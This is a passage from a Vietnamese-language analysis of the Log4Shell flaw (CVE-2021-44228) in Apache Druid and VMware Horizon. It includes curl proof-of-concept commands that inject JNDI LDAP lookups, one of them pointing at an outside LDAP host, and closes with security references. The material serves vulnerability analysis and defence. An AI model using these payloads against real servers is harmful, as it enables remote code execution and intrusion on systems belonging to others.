PoC:

· curl -vv -X DELETE 'http://localhost:8888/druid/coordinator/v1/lookups/config/$%7bjndi:ldap:%2f%2flocalhost:1270%2fabc%7d'

Nguyên nhân:

Class LookupCoordinatorManager.java có hàm deleteTier có chứa lỗ hổng CVE-2021-44228.

Chúng ta có thể thấy 2 log messages yêu cầu giá trị tier. Kẻ tấn công có thể tiếp cận đường dẫn đó thông qua HTTP DELETE request tới /druid/coordinator/v1/lookups/config/tier_variable. Từ đó khai thác CVE-2021-44228.

VMWare Horizon Server

PoC:

· curl -vv -H "Accept-Language: \${jndi:ldap://10.0.0.6:1270/lol}" --insecure https://10.0.0.32/portal/info.jsp

Nguyên nhân:

Nguy cơ xảy ra ở InstallerUtils.class bên trong portal.war:

VMWare Horizon sẽ chấp nhận request của tin tặc bao gồm trường Accept-Language HTTP header và log lại nếu “debug” được enabled. Và thật không may nó luôn được enabled.

Phân tích chi tiết về lỗ hổng CVE-2021-44228 trên các sản phẩm khác có thể xem thêm tại:

· https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis

Tài liệu tham khảo

https://logging.apache.org/log4j/2.x/security.html

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf

https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/

https://blog.checkpoint.com/2021/12/13/the-numbers-behind-a-cyber-pandemic-detailed-dive/

https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/

https://www.shadowserver.org/news/shadowserver-special-reports-vulnerable-log4j-servers-2021-12-22-update/

https://www.fortinet.com/blog/threat-research/critical-apache-log4j-log4shell-vulnerability-what-you-need-to-know

https://news.sophos.com/en-us/2021/12/20/logjam-log4j-exploit-attempts-continue-in-globally-distributed-scans-attacks/

https://blog.f-secure.com/how-attackers-are-trying-to-exploit-log4shell/

https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

https://github.com/NCSC-NL/log4shell/blob/

https://cystack.net/research/cuoc-tan-cong-vao-onus-goc-nhin-ky-thuat-tu-lo-hong-log4shell